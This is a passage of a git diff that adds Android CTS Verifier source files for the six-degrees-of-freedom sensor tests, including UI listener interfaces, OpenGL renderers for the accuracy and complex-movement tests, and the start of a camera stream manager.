+            if (mActivity.getUserGeneratedWaypoints(Manager.Lap.LAP_3).size() > 0) {
+                ((RobustnessRenderer) mRenderer).updateCurrentAngle(data.getCurrentAngle());
+                ((RobustnessRenderer) mRenderer).updateTargetAngle(data.getTargetAngle());
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/AccuracyListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/AccuracyListener.java
new file mode 100644
index 0000000..4b188f1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/AccuracyListener.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Interfaces;
+
+/**
+ * Interface that handles UI listeners that are only used in the Accuracy test.
+ */
+public interface AccuracyListener {
+    void onReset();
+
+    void lap1Complete();
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/BaseUiListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/BaseUiListener.java
new file mode 100644
index 0000000..302bdd6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/BaseUiListener.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Interfaces;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+/**
+ * Interface that handles UI listeners that are used in every test.
+ */
+public interface BaseUiListener {
+    void onPoseProviderReady();
+
+    void onWaypointPlaced();
+
+    void onResult(ResultObject result);
+
+    void onDestroyUi();
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/ComplexMovementListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/ComplexMovementListener.java
new file mode 100644
index 0000000..7f3bfe9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/ComplexMovementListener.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Interfaces;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+
+/**
+ * Interface that handles UI listeners that are only used in the Complex Movement test.
+ */
+public interface ComplexMovementListener {
+    void onRingEntered(Ring ring);
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/RobustnessListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/RobustnessListener.java
new file mode 100644
index 0000000..7821322
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Interfaces/RobustnessListener.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Interfaces;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.RotationData;
+
+/**
+ * Interface that handles UI listeners that are only used in the Robustness test.
+ */
+public interface RobustnessListener {
+    void onNewRotationData(RotationData data);
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/AccuracyRenderer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/AccuracyRenderer.java
new file mode 100644
index 0000000..287b31a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/AccuracyRenderer.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer;
+
+import android.content.Context;
+
+/**
+ * Renderer for the Accuracy test.
+ */
+public class AccuracyRenderer extends BaseRenderer {
+    public AccuracyRenderer(Context context) {
+        super(context);
+    }
+
+    @Override
+    protected void doPreRenderingSetup() {
+        // Set view and projection matrix to orthogonal so that camera preview fills the screen.
+        mViewMatrix = mOrthogonalViewMatrix;
+        mProjectionMatrix = mOrthogonalProjectionMatrix;
+    }
+
+    @Override
+    protected void doTestSpecificRendering() {
+        // Update the texture with the latest camera frame if there is an update pending.
+        updateCameraTexture();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/BaseRenderer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/BaseRenderer.java
new file mode 100644
index 0000000..bac1935
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/BaseRenderer.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.CameraStreamManager;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.DrawParameters;
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.CameraPreviewRenderable;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseProvider;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.MATRIX_4X4;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.ORIENTATION_360_ANTI_CLOCKWISE;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.opengl.GLES20;
+import android.opengl.GLSurfaceView;
+import android.opengl.Matrix;
+import android.util.Log;
+import android.view.Display;
+import android.view.Surface;
+import android.view.WindowManager;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * Abstract class that connects to Android Camera to use as an OpenGL texture.
+ */
+public abstract class BaseRenderer implements GLSurfaceView.Renderer {
+    private static final String TAG = "BaseRenderer";
+    private static final int ORIENTATION_COUNT = 4;
+
+    protected float[] mViewMatrix = new float[MATRIX_4X4];
+    protected float[] mOrthogonalViewMatrix = new float[MATRIX_4X4];
+    protected float[] mProjectionMatrix = new float[MATRIX_4X4];
+
+    protected float[] mOrthogonalProjectionMatrix = new float[MATRIX_4X4];
+    protected float[] mFrustrumProjectionMatrix = new float[MATRIX_4X4];
+
+    protected DrawParameters mDrawParameters;
+
+    protected float[] mCameraCoordinates;
+
+    protected PoseProvider mPoseProvider;
+    protected boolean mIsValid = false;
+
+    protected CameraPreviewRenderable mCameraPreview;
+    protected double mLastRGBFrameTimestamp = -1;
+
+    private int mCameraPreviewRotation = 0;
+
+    protected int mOpenGlRotation = 0;
+    protected float[] mOpenGlUpVector;
+
+    private Context mContext;
+
+    public BaseRenderer(Context context) {
+        mContext = context;
+        mOpenGlRotation = getDeviceRotation(context);
+        mOpenGlUpVector = getUpVector(mOpenGlRotation);
+        mCameraPreviewRotation = CameraStreamManager.getRotation(context, mOpenGlRotation);
+    }
+
+    @Override
+    public void onSurfaceCreated(GL10 glUnused, EGLConfig config) {
+        // Set the background clear color to black.
+        GLES20.glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
+
+        // Enable depth testing
+        GLES20.glEnable(GLES20.GL_DEPTH_TEST);
+
+        mCameraPreview = new CameraPreviewRenderable();
+
+        resetViewMatrix();
+    }
+
+    protected void resetViewMatrix() {
+        // Position the eye in front of the origin.
+        final float eyeX = 0.0f;
+        final float eyeY = 0.0f;
+        final float eyeZ = 0.0f;
+
+        // We are looking toward the distance
+        final float lookX = 0.0f;
+        final float lookY = 0.0f;
+        final float lookZ = -5.0f;
+
+        // Set our up vector. This is where our head would be pointing were we holding the camera.
+        float[] upVector = getUpVector(mCameraPreviewRotation);
+
+        // Set the view matrix.
+        Matrix.setLookAtM(mViewMatrix, 0,
+                eyeX, eyeY, eyeZ,
+                lookX, lookY, lookZ,
+                upVector[X], upVector[Y], upVector[Z]);
+        Matrix.setLookAtM(mOrthogonalViewMatrix, 0,
+                eyeX, eyeY, eyeZ,
+                lookX, lookY, lookZ,
+                upVector[X], upVector[Y], upVector[Z]);
+    }
+
+    @Override
+    public void onSurfaceChanged(GL10 glUnused, int width, int height) {
+        // Set the OpenGL viewport to the same size as the surface.
+        GLES20.glViewport(0, 0, width, height);
+
+        // Create a new perspective projection matrix. The height will stay the same
+        // while the width will vary as per aspect ratio.
+        // This project matrix does not take into account the camera intrinsics and should not be
+        // used for AR purposes.
+        final float ratio = (float) width / height;
+        float left = -ratio;
+        float right = ratio;
+        float bottom = -1.0f;
+        float top = 1.0f;
+        final float near = 1.0f;
+        final float far = 10.0f;
+
+        boolean invertAxis = false;
+
+        switch (mCameraPreviewRotation) {
+            case MathsUtils.ORIENTATION_0:
+            case MathsUtils.ORIENTATION_180_ANTI_CLOCKWISE:
+            case MathsUtils.ORIENTATION_360_ANTI_CLOCKWISE:
+                break;
+            case MathsUtils.ORIENTATION_90_ANTI_CLOCKWISE:
+            case MathsUtils.ORIENTATION_270_ANTI_CLOCKWISE:
+                // Invert aspect ratio.
+                invertAxis = true;
+                bottom = -ratio;
+                top = ratio;
+                left = -1.0f;
+                right = 1.0f;
+                break;
+            default:
+                // Unexpected orientation, error out.
+                throw new RuntimeException("Unexpected orientation that cannot be dealt with!");
+        }
+
+        mCameraCoordinates = getCameraCoordinates(left, right, bottom, top);
+
+        // Give camera preview reference to the context so that it can connect to the camera.
+        mCameraPreview.initialiseCameraPreview(mCameraCoordinates, invertAxis, mContext);
+
+        Matrix.orthoM(mOrthogonalProjectionMatrix, 0, left, right, bottom, top, near, far);
+        Matrix.frustumM(mFrustrumProjectionMatrix, 0, left, right, bottom, top, near, far);
+
+        mProjectionMatrix = mOrthogonalProjectionMatrix;
+
+        mDrawParameters = new DrawParameters();
+
+        mIsValid = true;
+    }
+
+    @Override
+    public void onDrawFrame(GL10 glUnused) {
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT | GLES20.GL_DEPTH_BUFFER_BIT);
+        doPreRenderingSetup();
+        doCoreRendering();
+        doTestSpecificRendering();
+    }
+
+    private void doCoreRendering() {
+        mDrawParameters.update(mViewMatrix, mProjectionMatrix);
+        mCameraPreview.draw(mDrawParameters);
+    }
+
+    protected synchronized void updateCameraTexture() {
+        mLastRGBFrameTimestamp = mCameraPreview.updateTexture();
+    }
+
+    /**
+     * Setup up view and projecttion matrices to be the ones you want for this draw call.
+     */
+    protected abstract void doPreRenderingSetup();
+
+    /**
+     * Do rendering that is unique to each test.
+     */
+    protected abstract void doTestSpecificRendering();
+
+    /**
+     * Where to position the camera preview on the screen. Can be overridden by sub classes.
+     */
+    protected float[] getCameraCoordinates(float left, float right, float bottom, float top) {
+        switch (mCameraPreviewRotation) {
+            case MathsUtils.ORIENTATION_0:
+            case MathsUtils.ORIENTATION_180_ANTI_CLOCKWISE:
+            case MathsUtils.ORIENTATION_360_ANTI_CLOCKWISE:
+                // Normal aspect ratio.
+                return new float[]{
+                        left, top, 0.0f,
+                        left, bottom, 0.0f,
+                        right, top, 0.0f,
+                        left, bottom, 0.0f,
+                        right, bottom, 0.0f,
+                        right, top, 0.0f,
+                };
+            case MathsUtils.ORIENTATION_90_ANTI_CLOCKWISE:
+            case MathsUtils.ORIENTATION_270_ANTI_CLOCKWISE:
+                // Inverted aspect ratio.
+                return new float[]{
+                        bottom, right, 0.0f,
+                        bottom, left, 0.0f,
+                        top, right, 0.0f,
+                        bottom, left, 0.0f,
+                        top, left, 0.0f,
+                        top, right, 0.0f,
+                };
+            default:
+                // Unexpected orientation, error out.
+                throw new RuntimeException("Unexpected orientation that cannot be dealt with!");
+        }
+    }
+
+
+    /**
+     * Saves PoseProvider object for later so we can connect to camera at appropriate time.
+     */
+    public void connectCamera(PoseProvider poseProvider, Context context) {
+        // Save these for later so we can connect to camera after mCameraPreview has been
+        // initialised. Also used to setup extrinsics in ComplexMovementRenderer.
+        mPoseProvider = poseProvider;
+        mContext = context;
+    }
+
+    public void disconnectCamera() {
+        mCameraPreview.disconnectCamera();
+    }
+
+    public void onDestroy() {
+        mPoseProvider = null;
+        mContext = null;
+
+        if (mCameraPreview != null) {
+            mCameraPreview.destroy();
+            mCameraPreview = null;
+        }
+    }
+
+    private static float[] getUpVector(int rotation) {
+        float [] upVector = new float[MathsUtils.VECTOR_3D];
+
+        switch (rotation) {
+            case MathsUtils.ORIENTATION_0:
+            case ORIENTATION_360_ANTI_CLOCKWISE:
+                upVector[X] = 0.0f;
+                upVector[Y] = 1.0f;
+                upVector[Z] = 0.0f;
+                break;
+            case MathsUtils.ORIENTATION_90_ANTI_CLOCKWISE:
+                upVector[X] = -1.0f;
+                upVector[Y] = 0.0f;
+                upVector[Z] = 0.0f;
+                break;
+            case MathsUtils.ORIENTATION_180_ANTI_CLOCKWISE:
+                upVector[X] = 0.0f;
+                upVector[Y] = -1.0f;
+                upVector[Z] = 0.0f;
+                break;
+            case MathsUtils.ORIENTATION_270_ANTI_CLOCKWISE:
+                upVector[X] = 1.0f;
+                upVector[Y] = 0.0f;
+                upVector[Z] = 0.0f;
+                break;
+            default:
+                // Unexpected orientation, error out.
+                throw new RuntimeException("Unexpected orientation that cannot be dealt with!");
+        }
+
+        return upVector;
+    }
+
+    public static int getDeviceRotation(Context context) {
+        WindowManager windowManager = (WindowManager)
+                context.getSystemService(Context.WINDOW_SERVICE);
+        final Display display = windowManager.getDefaultDisplay();
+        int naturalOrientation = Configuration.ORIENTATION_LANDSCAPE;
+        int configOrientation = context.getResources().getConfiguration().orientation;
+        switch (display.getRotation()) {
+            case Surface.ROTATION_0:
+            case Surface.ROTATION_180:
+                // We are currently in the same basic orientation as the natural orientation.
+                naturalOrientation = configOrientation;
+                break;
+            case Surface.ROTATION_90:
+            case Surface.ROTATION_270:
+                // We are currently in the other basic orientation to the natural orientation.
+                naturalOrientation = (configOrientation == Configuration.ORIENTATION_LANDSCAPE) ?
+                        Configuration.ORIENTATION_PORTRAIT : Configuration.ORIENTATION_LANDSCAPE;
+                break;
+            default:
+                // Unexpected orientation, error out.
+                throw new RuntimeException("Unexpected orientation that cannot be dealt with!");
+        }
+
+        // Since the map starts at portrait, we need to offset if this device's natural orientation
+        // is landscape.
+        int indexOffset = 0;
+        if (naturalOrientation == Configuration.ORIENTATION_LANDSCAPE) {
+            indexOffset = 1;
+        }
+
+        // Get rotation as a clockwise rotation.
+        int currentRotation = ORIENTATION_COUNT - display.getRotation();
+
+        // Check for reverse rotation direction and currentRotation if required.
+        try {
+            if (context.getResources().getBoolean(context.getResources().getSystem().getIdentifier(
+                    "config_reverseDefaultRotation", "bool", "android"))) {
+                currentRotation = display.getRotation();
+            }
+        } catch (Resources.NotFoundException e) {
+            // If resource is not found, assume default rotation and continue.
+            Log.d(TAG, "Cannot determine device rotation direction, assuming default");
+        }
+
+        int currentOrientation = (currentRotation + indexOffset);
+        int defaultOrientation = indexOffset;
+
+        int difference = (currentOrientation - defaultOrientation) % ORIENTATION_COUNT;
+        difference = difference * 90;
+
+        return difference;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/ComplexMovementRenderer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/ComplexMovementRenderer.java
new file mode 100644
index 0000000..3ac6b21
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/ComplexMovementRenderer.java
@@ -0,0 +1,262 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ModelMatrixCalculator;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ObjImporter;
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.ConeRenderable;
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.Light;
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.RingRenderable;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.Intrinsics;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseData;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.MATRIX_4X4;
+
+import android.content.Context;
+import android.media.MediaPlayer;
+import android.opengl.GLES20;
+import android.opengl.Matrix;
+
+import java.util.ArrayList;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * Renderer for the robustness test
+ */
+public class ComplexMovementRenderer extends BaseRenderer {
+    private static final String TAG = "ComplexMovementRenderer";
+    private static final float[] DEFAULT_LIGHT_POSITION = new float[]{
+            0.0f, 3.0f, 0.0f};
+    private static final Object RING_LOCK = new Object();
+    private ModelMatrixCalculator mCameraModelMatrixCalculator;
+    private ConeRenderable mCone;
+    private Light mLight;
+    private float[] mPoseViewMatrix = new float[MATRIX_4X4];
+    private float[] mAugmentedRealityProjectMatrix = new float[MATRIX_4X4];
+
+    protected boolean mIsCameraConfigured = false;
+
+    protected double mCameraPoseTimestamp = 0;
+    private PoseData mLastFramePose;
+
+    private Context mContext;
+
+    private int mWaypointCount = 0;
+    private MediaPlayer mMediaPlayer;
+    private ArrayList<Ring> mRings;
+
+    public ComplexMovementRenderer(Context context, ArrayList<Ring> rings) {
+        super(context);
+        mCameraModelMatrixCalculator = new ModelMatrixCalculator(mOpenGlRotation);
+        mContext = context;
+        mMediaPlayer = MediaPlayer.create(context, R.raw.ring_sound);
+        mRings = rings;
+    }
+
+    @Override
+    public void onSurfaceCreated(GL10 glUnused, EGLConfig config) {
+        super.onSurfaceCreated(glUnused, config);
+        mCone = new ConeRenderable(mOpenGlRotation, mOpenGlUpVector);
+        mLight = new Light(DEFAULT_LIGHT_POSITION, 2.0f);
+        setUpExtrinsics();
+
+        ObjImporter.ObjectData ringData = ObjImporter.parse(mContext.getResources(), R.raw.ring_obj);
+
+        for (Ring ring : mRings) {
+            final float[] position =
+                    MathsUtils.convertToOpenGlCoordinates(ring.getLocation(), mOpenGlRotation);
+            final float[] rotation =
+                    MathsUtils.convertToOpenGlCoordinates(ring.getRingRotation(), mOpenGlRotation);
+            RingRenderable ringRenderable = new RingRenderable(position, rotation, mOpenGlUpVector);
+            ringRenderable.initialise(ringData);
+            ring.setRingRenderable(ringRenderable);
+        }
+
+        ObjImporter.ObjectData coneData = ObjImporter.parse(mContext.getResources(), R.raw.cone_obj);
+        mCone.initialise(coneData);
+    }
+
+    @Override
+    protected void doPreRenderingSetup() {
+        // Set up drawing of background camera preview (orthogonal).
+        mViewMatrix = mOrthogonalViewMatrix;
+        mProjectionMatrix = mOrthogonalProjectionMatrix;
+    }
+
+    @Override
+    protected void doTestSpecificRendering() {
+        GLES20.glClear(GLES20.GL_DEPTH_BUFFER_BIT);
+        if (mPoseProvider != null) {
+            // Update the texture with the latest camera frame.
+            updateCameraTexture();
+
+            // We delay the camera set-up until now because if we do it earlier (i.e., when the
+            // camera is connected to the renderer) the PoseProvider service may still not have the
+            // necessary intrinsic and extrinsic transformation information available.
+            if (!mIsCameraConfigured) {
+                configureCamera();
+            }
+
+            // Calculate the device pose at the camera frame update time.
+            mLastFramePose = mPoseProvider.getLatestPoseData();
+            // Update the camera pose from the renderer
+            updateRenderCameraPose(mLastFramePose);
+            // Update the MV matrix with new pose data.
+            updatePoseViewMatrix();
+            // Update light with new translation.
+            mLight.updateLightPosition(MathsUtils.convertToOpenGlCoordinates(
+                    mLastFramePose.getTranslationAsFloats(), mOpenGlRotation));
+            mCameraPoseTimestamp = mLastFramePose.timestamp;
+        }
+
+        // Render objects with latest pose information available.
+        renderAugmentedRealityObjects();
+    }
+
+    private void renderAugmentedRealityObjects() {
+        // Set up projection matrix to match camera intrinsics.
+        mProjectionMatrix = mAugmentedRealityProjectMatrix;
+        // Set up view matrix to match current device positioning.
+        mViewMatrix = mPoseViewMatrix;
+
+        mDrawParameters.update(mViewMatrix, mProjectionMatrix, mLight);
+        for (Ring ring : mRings) {
+            // If we have placed the initial waypoint, we want rings for the first path, path 0.
+            if (ring.getPathNumber() == mWaypointCount && !ring.isEntered()) {
+                // Only draw the rings that are on our current path and have not been entered.
+                ring.getRingRenderable().draw(mDrawParameters);
+            }
+        }
+        // Clear depth buffer so cone does not clip with rings.
+        GLES20.glClear(GLES20.GL_DEPTH_BUFFER_BIT);
+
+        // Set cone to look at nearest ring.
+        boolean lookingAt = false;
+        for (Ring ring : mRings) {
+            if (!ring.isEntered() && !lookingAt && ring.getPathNumber() == mWaypointCount) {
+                // If the ring has not been entered, the cone has not been set to look at anything
+                // yet, and we are on the correct lap for this ring.
+
+                mCone.updateModelMatrix(mLastFramePose.getTranslationAsFloats(),
+                        mLastFramePose.getRotationAsFloats(), ring.getLocation());
+                lookingAt = true;
+            }
+        }
+
+        if (lookingAt) {
+            // Only draw the cone if it has something to look at.
+            mCone.draw(mDrawParameters);
+        }
+    }
+
+    protected void configureCamera() {
+        // This should never happen, but it never hurts to double-check.
+        if (mPoseProvider == null) {
+            return;
+        }
+
+        Intrinsics intrinsics = mPoseProvider.getIntrinsics();
+
+        mAugmentedRealityProjectMatrix = calculateProjectionMatrix(
+                intrinsics.getWidth(), intrinsics.getHeight(),
+                intrinsics.getFocalLengthInPixelsX(), intrinsics.getFocalLengthInPixelsY());
+        mIsCameraConfigured = true;
+    }
+
+    /**
+     * Called when a waypoint is placed in the last test. Used to show and hide rings.
+     *
+     * @param waypointCount Number of waypoints placed.
+     */
+    public void onWaypointPlaced(int waypointCount) {
+        mWaypointCount = waypointCount;
+    }
+
+    /**
+     * Called when a ring has been entered. Plays a sound and then hides the ring.
+     *
+     * @param ring Ring that has just been entered.
+     */
+    public void onRingEntered(Ring ring) {
+        synchronized (RING_LOCK) {
+            ring.setSoundPlayed(true);
+        }
+        mMediaPlayer.start();
+    }
+
+    /**
+     * Setup the extrinsics of the device.
+     */
+    private void setUpExtrinsics() {
+    }
+
+    /**
+     * Update the scene camera based on the provided pose. The
+     * device pose should match the pose of the device at the time the last rendered RGB frame.
+     */
+    public void updateRenderCameraPose(PoseData devicePose) {
+        mCameraModelMatrixCalculator.updateModelMatrix(devicePose.getTranslationAsFloats(),
+                devicePose.getRotationAsFloats());
+    }
+
+    /**
+     * Update the view matrix of the Renderer to follow the position of the device in the current
+     * perspective.
+     */
+    public void updatePoseViewMatrix() {
+        float[] invertModelMat = new float[MATRIX_4X4];
+        Matrix.setIdentityM(invertModelMat, 0);
+
+        float[] temporaryMatrix = new float[MATRIX_4X4];
+        Matrix.setIdentityM(temporaryMatrix, 0);
+
+        Matrix.setIdentityM(mPoseViewMatrix, 0);
+        Matrix.invertM(invertModelMat, 0,
+                mCameraModelMatrixCalculator.getModelMatrix(), 0);
+        Matrix.multiplyMM(temporaryMatrix, 0, mPoseViewMatrix, 0,
+                invertModelMat, 0);
+        System.arraycopy(temporaryMatrix, 0, mPoseViewMatrix, 0, MATRIX_4X4);
+    }
+
+    /**
+     * Use camera intrinsics to calculate the projection Matrix.
+     */
+    private float[] calculateProjectionMatrix(int width, int height,
+                                              double focalLengthX, double focalLengthY) {
+        // Uses frustumM to create a projection matrix taking into account calibrated camera
+        // intrinsic parameter.
+        // Reference: http://ksimek.github.io/2013/06/03/calibrated_cameras_in_opengl/
+        float near = 0.1f;
+        float far = 100f;
+
+        float xScale = (float) (near / focalLengthX);
+        float yScale = (float) (near / focalLengthY);
+
+        float[] projectionMatrix = new float[16];
+        Matrix.frustumM(projectionMatrix, 0,
+                xScale * -width / 2.0f,
+                xScale * width / 2.0f,
+                yScale * -height / 2.0f,
+                yScale * height / 2.0f,
+                near, far);
+        return projectionMatrix;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/CameraStreamManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/CameraStreamManager.java
new file mode 100644
index 0000000..c2d6f80
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RenderUtils/CameraStreamManager.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils;
+
+import android.annotation.TargetApi;
+import android.content.Context;
+import android.content.pm.ActivityInfo;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.graphics.SurfaceTexture;
+import android.hardware.camera2.CameraAccessException;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.TotalCaptureResult;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.util.Size;
+import android.view.Display;
+import android.view.Surface;
+import android.view.WindowManager;
+
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@TargetApi(21)
+public class CameraStreamManager {
+
+    private Context mContext;
+    private SurfaceTexture mSurfaceTextureToStreamTo;
+    private int mWidth;
+    private int mHeight;
+
+    /**
+     * Tag for the {@link Log}.
+     */
+    private static final String TAG = "Camera2BasicFragment";
+
+    /**
+     * ID of the current {@link CameraDevice}.
+     */
+    private static final String CAMERA_ID = "0";
+
+    /**
+     * A {@link CameraCaptureSession } for camera preview.
+     */
+    private CameraCaptureSession mCaptureSession;
+
+    /**
+     * A reference to the opened {@link CameraDevice}.
+     */
+    private CameraDevice mCameraDevice;
+
+    /**
+     * The {@link android.util.Size} of camera preview.
+     */
